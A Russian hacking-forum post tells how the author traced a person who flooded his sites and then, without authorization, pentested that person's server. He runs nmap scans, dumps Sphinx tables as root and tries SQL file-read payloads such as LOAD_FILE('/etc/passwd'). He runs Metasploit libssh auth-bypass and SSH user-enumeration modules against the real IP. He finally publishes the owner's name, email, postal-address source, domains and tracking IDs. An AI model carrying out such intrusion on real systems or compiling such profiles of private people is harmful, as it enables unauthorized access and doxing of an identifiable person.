Загрузка...

Поиск человека по IP

Тема в разделе Социальная инженерия создана пользователем Ilusdsf 22 фев 2019. 911 просмотров

  1. Ilusdsf
    Ilusdsf Автор темы 22 фев 2019 132 22 окт 2018
    Небольшой пример по поиску информации с элементами пентестинга. Я искал человека, который DoS'ил мои сайты. То есть я в начале думал, что это DoS атака, но когда посмотрел его «проекты», то у меня появилась мысль, что он просто парсил сайты для сбора текста из которого потом будут ляпаться дорвеи. Но то ли что-то в его шармарке заклинило, то ли он решил проверить устойчивость моих сайтов к стресс-тесту, то ли им двигали совсем неподвластные моему разумению мотивы, но суть в том, что нагрузка на сервер стала выглядеть вот так:

    [IMG]




    Кусок лога:

    [IMG]




    Делались многочисленные запросы, вызывающие ошибку 404. Это говорит в пользу версии о DoS атаке.

    При изучении лога выяснилось, что атакующий подменял свой User-Agent на «Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)».

    [IMG]




    Следующей командой я отделил все запросы, в которых пользовательский агент установлен на «Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)», при этом запросы вызвали ошибку 404, из этих запросов я взял только IP адреса, отсортировал их и выделил уникальные. Всё это сделала команда:

    1zcat "access_log (4).1.gz" | grep "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)" | grep " 404 " | awk '{print $1}' | sort | uniq

    [IMG]




    Кстати, готовится большой материал по анализу веб ***** — скоро будет опубликован.

    Из получившегося списка я с помощью whois отфильтровал IP адреса, принадлежащие Яндексу, в результате остался адрес:

    • 88.198.64.37
    А также вот этот диапазон адресов:

    • 88.99.152.33
    • 88.99.152.34
    • 88.99.152.35
    • 88.99.152.36
    • 88.99.152.37
    • 88.99.152.38
    • 88.99.152.39
    • 88.99.152.40
    • 88.99.152.41
    • 88.99.152.42
    • 88.99.152.43
    • 88.99.152.44
    • 88.99.152.45
    • 88.99.152.46
    • 88.99.152.47
    • 88.99.152.48
    • 88.99.152.49
    • 88.99.152.50
    • 88.99.152.51
    • 88.99.152.52
    • 88.99.152.53
    • 88.99.152.54
    • 88.99.152.55
    • 88.99.152.56
    • 88.99.152.57
    • 88.99.152.58
    • 88.99.152.59
    • 88.99.152.60
    • 88.99.152.61
    • 88.99.152.62
    Что характерно — и первый IP и второй список принадлежат одному и тому же VPS хостеру из Германии.

    Многие из IP 88.99.152.* при открытии в браузере пересылают на домен domenolog.ru. У сервера всех сайтов одинаковые характеристики:

    • PHP/5.6.32
    • nginx/1.10.2
    • Apache/2.2.15 (CentOS)
    То есть этот диапазон, судя по всему, привязан к одному единственному серверу (при заказе виртуального частного сервера за отдельную плату можно подключить любое количество IP адресов), а IPv6 вообще дают «пучок за рубль».

    И адрес 88.198.64.37 тоже оказался от этого же сервера! Для подтверждения достаточно сделать запрос с указанием имени хоста domenolog.ru:

    curl 88.198.64.37 -H "Host: domenolog.ru"

    Будет показан исходный код веб-страницы domenolog.ru.

    Итак, источник проблемы локализован — кто-то арендует сервер с несколькими IP адресами на германском хостинге. В принципе — если проблема серьёзная (например, непрекращающаяся DoS атака либо постоянная рассылка спама и прочее), то есть смысл пожаловаться хостеру. Но в моём случае в этом не было нужды, поэтому я решил просто немного покопать дальше.

    Пентестинг сервера
    Ещё одним косвенным свидетельством, что это все IP одного сервера, были результаты сканирования nmap: на всех этих адресах были открыты одни и те же порты. Картина была одинаковая для всех IP, кроме 88.99.152.33 — на нём было несколько дополнительно открытых портов. Видимо, на сервере настраивались некоторые службы с привязкой на этот адрес. Там я обратил внимание на несколько интересных моментов, давайте их разберём.

    Начнём с полного сканирования портов основного IP адреса:

    sudo nmap -p 1-65535 88.99.152.33

    Результат:

    Host is up (0.23s latency).
    Not shown: 65517 closed ports
    PORT STATE SERVICE
    25/tcp open smtp
    53/tcp open domain
    80/tcp open http
    81/tcp open hosts2-ns
    135/tcp filtered msrpc
    137/tcp filtered netbios-ns
    138/tcp filtered netbios-dgm
    139/tcp filtered netbios-ssn
    445/tcp filtered microsoft-ds
    1121/tcp open rmpp
    1122/tcp open availant-mgr
    2921/tcp open cesdcdman
    2980/tcp open wimd
    2988/tcp open hippad
    4949/tcp open munin
    5554/tcp filtered sgi-esphttp
    9306/tcp open sphinxql
    9312/tcp open sphinxapi

    [IMG]




    В глаза сразу бросается 53 порт — то есть на сервере работает сервер имён (DNS). Выше показаны только TCP порты, можно убедиться, что 53 UDP порт также открыт:

    sudo nmap -p 53 -sU 88.99.152.33

    Открыт — значит есть свой сервер имён — запомним это!

    Как подключиться к Sphinx
    sphinxql — это Sphinx, а sphinxapi — это API для неё. Я нагуглил официальный сайт, но там всё в лучших традициях технической документации — даже непонятно, а что же именно делает эта программа/служба?

    К счастью, я также нагуглил, что для подключения к этой неведомой зверюшке используется обычный mysql клиент:

    mysql -h 88.99.152.33 -u root -P 9306 --protocol=tcp

    Без явного указания протокола --protocol=tcp тоже работает.

    Произошло то, что я ожидал меньше всего — я увидел приглашение командной строки удалённого сервера!

    [IMG]




    Но оказалось, что всё не так хорошо, как я ожидал, не сработали не только SQL запросы чтения/записи файлов:

    ' … ' UNION ALL SELECT LOAD_FILE('/etc/passwd');
    SELECT * FROM mytable INTO dumpfile '/tmp/somefile';

    Даже не заработали элементарные:

    SELECT @@version;
    SELECT @@hostname;
    SELECT database();

    Команда смены базы данных:

    USE database test;

    вроде бы срабатывала — появлялось сообщение «Database changed» и менялось приглашение командной строки — но, на самом деле, это ни на что не влияло.

    По сути, рабочими оказались только команда вывода списка таблиц:

    SHOW TABLES;

    [IMG]




    и команда вида

    SELECT * FROM имя_таблицы LIMIT 0,2000;

    Пример команды:

    SELECT * FROM agent_content_agentdigestchl LIMIT 0,2000;

    Часть её вывода:

    [IMG]




    Обратите внимание, что я всё время использую LIMIT — дело в том, что по умолчанию LIMIT всё равно используется, причём её значение по умолчанию LIMIT 0,20 (двадцать первых записей). Также обратите внимание, что из каждой таблицы выводится ровно по 1000 записей — либо там действительно ровно по 1000 записей, либо разработчики Sphinx пока просто не реализовали возможность держать в таблицах больше 1000 записей…

    Содержимое — лютый шлак, спарсенная информация об организациях. Как можно догадаться по названиям таблиц, там есть такие города как Челябинск, Екатеринбург, Казань, Москва, Нижний-Новгород, Омск и Самара.

    Видимо, это какая-то заготовка для дорвея. Всё такое унылое и неинтересное, да ещё этот горе Sphinx, что я ничего лучше не придумал, как просто на память слить таблицы командами вида:

    mysql -h 88.99.152.33 -u root -P9306 -e "SELECT * FROM agent_categories_agentdigestchl LIMIT 0,2000;" > agent_categories_agentdigestchl.txt
    mysql -h 88.99.152.33 -u root -P9306 -e "SELECT * FROM agent_categories_agentdigestekb LIMIT 0,2000;" > agent_categories_agentdigestekb.txt
    ……………………….
    ……………………….
    ……………………….

    Правда, я нагуглил сайт wikimapia.org, который как раз и мог бы оказаться дором из этих заготовок, пример страницы: wikimapia.org/26359080/ru/26359080/ru/Клиника-«Будь-Здоров». Причём даже IP адрес 88.99.95.180 принадлежит этому же хостеру, на котором расположен исследуемый сервер. Но изучив DoS'ера поближе у меня стали появляться сомнения — слишком сложный для него проект.

    Самое примечательное из этих таблиц, это поля «Даты обновления», пример такой даты: 1536234804 — я до сих пор ломаю голову, как их расшифровать?

    Как узнать, что это за служба, если она на нестандартном порту?
    Остальные службы поначалу не принесли ничего интересного — я гуглил чтобы хотя бы узнать название Клиентов для подключения — но мне как-то не особо везло.

    Тут я вспомнил, что имеют дело с системным администратором, который управляет парсером/утилитой для DoS (чем именно я так и не разобрался) — следовательно, нужно предположить, что он не так прост.

    С помощью curl можно подключаться к любым TCP портам (указывайте их после адреса через двоеточие). Также добавляйте опцию --output - (тире это не опечатка — там тире означает стандартный вывод) чтобы даже бинарные данные выводились в консоль:

    curl --output - 88.99.152.33:2980

    Вывод предыдущей команды:

    <html><head><title>407 Proxy Authentication Required</title></head>
    <body><h2>407 Proxy Authentication Required</h2><h3>Access to requested resource disallowed by administrator or you need valid username/password to use this resource</h3></body></html>

    [IMG]




    Итак, мы нашли ****** с необходимостью аутентификации.

    Далее

    curl --output - 88.99.152.33:2921

    Вывелось:

    220 Ready

    [IMG]




    Код статуса 220 и сообщение позволяют думать, что это почтовая служба SMTP, которая работает на 2921 порту (на самом деле, видимо, это оказался ftppr, то есть FTP proxy gateway service).

    Дальше:

    curl --output - 88.99.152.33:1122

    Результат:

    SSH-2.0-OpenSSH_5.3
    curl: (56) Recv failure: Соединение разорвано другой стороной

    [IMG]




    Это SSH, причём древней версии.

    Ну и наконец:

    curl --output - 88.99.152.33:1121

    Результат:

    220 (vsFTPd 2.2.2)
    530 Please login with USER and PASS.
    530 Please login with USER and PASS.
    530 Please login with USER and PASS.
    530 Please login with USER and PASS.

    [IMG]




    Это FTP сервер vsFTPd 2.2.2.

    Абсолютно всё из выше перечисленного можно ****форсить — но я не до такой степени разозлился на него.

    Кстати, вместо cURL можно было бы использовать готовый скрипт nmap, который называется banner. Для этого к команде сканирования добавьте опции -sV --script=banner. Также можно эти опции добавлять при сканировании определённых портов, например:

    sudo nmap -p 1122 -sV --script=banner 88.99.152.33

    Как эксплуатировать уязвимости с помощью Metasploit
    Напоследок, перед тем как «уйти» с сервера и переключиться на другие направления сбора данных, я всё-таки решил проверить запущенные службы на уязвимости к популярным эксплойтам, заодно покажу азы работы в Metasploit.

    Запускаем Metasploit

    sudo systemctl start
    postgresql.servicemsfconsole

    Посмотрим, что есть для SSH:

    search ssh

    [IMG]




    В библиотеке libssh есть отличная свежая уязвимость обхода аутентификации:

    Name Disclosure Date Rank Check Description
    ---- --------------- ---- ----- -----------
    auxiliary/scanner/ssh/libssh_auth_bypass 2018-10-16 normal Yes libssh Authentication Bypass Scanner

    Модуль libssh_auth_bypass эксплуатирует обход аутентификации в libssh в коде сервера, отправляется сообщение USERAUTH_SUCCESS (аутентификация успешна) вместо ожидаемого сообщения USERAUTH_REQUEST (запрос аутентификации). Уязвимы libssh с 0.6.0 по 0.7.5 версию и с 0.8.0 по 0.8.3. На счастье этого админа, у него до такой степени старая версия, что этот эксплойт для неё не работает — его везенье, а то бы я не писал эту статью — это бы осталось маленькой тайной…

    Но я всё равно покажу вам, как работать с эксплойтами в Metasploit:

    Выбираем модуль для использования:

    use auxiliary/scanner/ssh/libssh_auth_bypass

    Смотрим информацию о нём:

    show info

    Смотрим опции:

    show options

    Устанавливаем хост для атаки:

    set RHOSTS 88.99.152.33

    Как мы помним, на сервере для SSH используется нестандартный порт 1122, устанавливаем его:

    set RPORT 1122

    Запускаем модуль эксплуатации:

    run

    [IMG]




    Ещё один модуль для SSH это auxiliary/scanner/ssh/ssh_enumusers — который позволяет проверить, есть ли указанный пользователь. Это супер полезно перед ****форсом.

    use auxiliary/scanner/ssh/ssh_enumusers

    Смотрим и устанавливаем опции:

    show options
    set RHOSTS 88.99.152.33
    set RPORT 1122

    Ещё нужно установить USERNAME (имя пользователя для проверки, если мы хотим проверить только одно имя) или USER_FILE (файл с именами пользователей, если мы хотим проверить много имён).

    Например, я хочу проверить, есть ли на сервере пользователь root:

    set USERNAME root
    run

    Да, такой пользователь есть, об этом говорит строка:

    [+] 88.99.152.33:1122 - SSH - User 'root' found

    [IMG]




    Но пользователь root он везде есть. А как насчёт пользователя «danil»? К концу истории вам будет понятно, почему я решил проверить это имя. Также это ещё одно доказательства того, что вся собранная информация относится к одному человеку:

    set USERNAME danil
    run

    И пользователь 'danil' найден!

    [+] 88.99.152.33:1122 - SSH - User 'danil' found

    [IMG]




    Это очень важно для подтверждения много из сказанного здесь.

    Что интересного может рассказать DNS сервер
    Сервера имён DNS представляют собой иерархическую структуру. Это очень интересная тема и она обязательно будет рассмотрена на страницах HackWare.ru.

    На сервере с IP 88.99.152.33 работает сайт domenolog.ru. На этом же сервере запущен сервер имён DNS. Обратимся к DNS серверу 88.99.152.33 с вопросом, что он нам скажет про domenolog.ru:

    dig domenolog.ru @88.99.152.33

    [IMG]




    Во-первых, мы видим ещё одно подтверждение, что IP адреса 88.198.64.37 и 88.99.152.33 как минимум связаны друг с другом.

    Ещё в качестве сервера имён указан ns1.dig1.ru. Давайте взглянем на dig1.ru:

    [IMG]




    Опаньки!

    Знакомая (лично мне уже «до боли») метка сервера «Apache/2.2.15 (CentOS)».

    Давайте посмотрим, что именно админ приберёг для нас внутри.

    Почему опасно оставлять на рабочем сервере phpinfo()
    phpinfo() - это PHP функция, которая выводит информацию о PHP, веб-сервере, модулях PHP, переменных среды, некоторую информацию об операционной системе и немного об открывшем страницу пользователе. С чего я вдруг про это заговорил? Дело в том, что на странице dig1.ru/info/ выводится информация от функции phpinfo():

    [IMG]




    Бинго, у нас есть адрес электронной почты администратора: gluttor@gmail.com. Теперь можно ему написать и спросить, что именно он делал? Дидосил или парсил для подготовки к генерации доров?

    [IMG]




    Кроме почты, также можно узнать, что, оказывается этот веб-сайт (и некоторые другие на этом веб-сервере) находятся за CloudFlare (как будто им это помогло!), кое-что о структуре папок сервера:

    • /var/www/_admin/data/www/dig1.ru
    • /var/www/_admin/data/www/dig1.ru/info/index.php
    • /var/www/_admin/data/mod-tmp
    Здесь же точные версии PHP, Apache и MySQL.

    [IMG]




    Нам известно, что все IP принадлежат одному серверу, следовательно, мы можем пройтись по каждому из этих IP, посмотреть какие там открываются сайты для сбора из них дополнительной информации о владельце. Ещё нам очень поможет сервис поиска сайтов на одном IP.

    Поиск по e-mail
    Но самый интересный трофей, безусловно, это почта админа gluttor@gmail.com — банальное гугление позволяет собрать дополнительные сведения.

    На владельца почты зарегистрировано ряд доменов. Например thedomainer.net:

    [IMG]




    Для международных доменов очень много интересного может дать даже whois:

    whois thedomainer.net

    [IMG]




    Теперь я смогу не просто написать e-mail с вопросом о DoS атаке, но и начать своё письмо весьма вежливо:

    «Уважаемый Danil Klimenko, …».
    Если моё электронное письмо вдруг не дойдёт, то я смогу отправить письмо по обычной почте, адрес у меня уже есть.

    В whois мы также получаем новые адреса серверов имён (видимо этот чел реально прётся делать DNS серверы), хотя IP уже нам хорошо знакомы:

    • Name Server: ns1.thedomainer.net (88.99.152.35)
    • Name Server: ns2.thedomainer.net (88.99.152.33)
    Есть и другие домены:

    • cennetteyim.com
    • kredyteo.biz
    • onami.biz
    • thedomainer.net
    • pattys-portraits.com
    • diy-linux.com
    • freclaw.com
    • reclaimedwoodatx.com
    [IMG]




    Среди них дорвеи с машинным переводом на испанский язык, например diy-linux.com — видимо, это сайт про Linux (у меня он тоже досил сайт про Linux) — неужели «мочил» конкурента?..

    Ранее он указывал эту почту gluttor@gmail.com при продаже доменов:

    • ambol.ru
    • rubikoff.ru
    • zubnie.ru
    • sarcazm.ru
    • …………..
    • …………..
    Поиск на сайтах информации о веб-мастере
    У меня с самого начала уже есть несколько десятков IP адресов, если их просто ****ать в адресную строку веб-браузера, то будут открываться разные сайты. Вместе с сервисом поиска сайта на одном IP, можно набрать множество материала для анализа. Также нам в помощь весь арсенал из статьи «Сбор информации о владельце сайта. Поиск сайтов одного лица».

    На нескольких сайтах нашёлся одинаковый номер Google Analytics:

    <noscript><style type="text/css"> .wpb_animate_when_almost_visible { opacity: 1; }</style></noscript><script>
    (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
    (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
    m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
    })(window,document,'script','https://www.google-analytics.com/analytics.js','ga');

    ga('create', 'U'+'A'+'-'+'8'+'1'+'7'+'4'+'4'+'4'+'2'+'3'+'-'+'1', 'auto', {'allowLinker': true});
    ga('require', 'linker');
    ga('linker:autoLink', ['sk-stimul.ru'] );
    ga('send', 'pageview');

    </script>

    Также на одном из сайтов нашёлся такой номер:

    • gtag('config', 'UA-109452531-1');
    И такие идентификаторы издателя AdSense:

    • ca-pub-8651222720337170
    • ca-pub-0012089259675285
    Эти данные позволяют искать другие сайты по сервису publicwww.com. Но не нужно исключать того, что эти идентификаторы могли появиться на сайтах, восстановленных из веб-архива, то есть на самом деле они могут не принадлежать этому лицу.

    Также на некоторых сайтах попадался адрес электронной почты manager.adv1@gmail.com.

    Домены на продажу
    На сайте domenolog большое количество доменов на продажу. Также имеется спарсенное описание о не принадлежащих ему доменах. Видимо, в этом и заключается бизнес-модель: привлечение трафика за счёт спарсенной информации о сайтах, а также через дорвеи с украденным и сгенерированным содержимым.

    Последующая монетизация основного сайта за счёт РСЯ + продажа доменов (киберсквоттинг). Монетизация дорвеев с трафиком за счёт партнёрских (в том числе сомнительных) программ.

    Для нас дополнительным источником сведений там является список доменов на продажу — можно смотреть их IP, исследовать веб содержимое и раскручивать информацию дальше — но мне это уже не особо интересно.

    Если сайт из тех списков «спрятан» за Cloudflare, то для него настоящий IP адрес можно узнать командой вида:

    dig ИНТЕРЕСУЮЩИЙ-ДОМЕН @88.99.152.33

    Например, для если я хочу узнать настоящий IP адрес toolplace.ru:

    dig toolplace.ru @88.99.152.33

    Заключение
    У этого человека нашёлся и личный блог: danil.me.

    [IMG]




    На данный момент этот сайт доступен только в веб-архиве. Среди прочих, там есть такая статья:

    [IMG]




    А в этой статье:

    В наличии имелся выделенный сервер с N ip-адресов на нем.
    Помните, ведь мы идентифицировали не все открытые порты, в самой первой статье автор приводит конфигурационный файл, в котором объясняется как и что:

    • 2980 это proxy
    • 2988 это socks
    • 2921 это ftppr
    [IMG]




    Темы статей:

    • Настройка ******-сервера 3proxy с множеством IP-адресов
    • Whois-запросы на PHP используя proxy
    • Как разбить текст на предложения на PHP
    • Как разбить текст на слова на PHP
    • Простая типографика на PHP
    • Парсинг поисковой выдачи Яндекса на PHP
    • Парсинг поисковой выдачи Google
    • Парсинг выдачи Bing
    • Как спрятать/обнулить реферрер (HTTP referer)
    То есть про реализацию на PHP задач, которые ближе к генерации доров.

    Код Гугл Аналитики на блоге:

    <script>
    (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
    (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
    m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
    })(window,document,'script','https://www.google-analytics.com/analytics.js','ga');

    ga('create', 'UA-76474101-2', 'auto');
    ga('send', 'pageview');

    </script>
     
    Этот материал оказался полезным?
    Вы можете отблагодарить автора темы путем перевода средств на баланс
    Отблагодарить автора
  2. lordsolider
    lordsolider 22 фев 2019 Заблокирован(а) 51 30 авг 2017
    це пиздец, что сказать
     
  3. ПИТСА_inactive371734
    ПИТСА_inactive371734 22 фев 2019 Найт хороший 347 12 апр 2018
    Программисты йебаныйе
     
Загрузка...
Top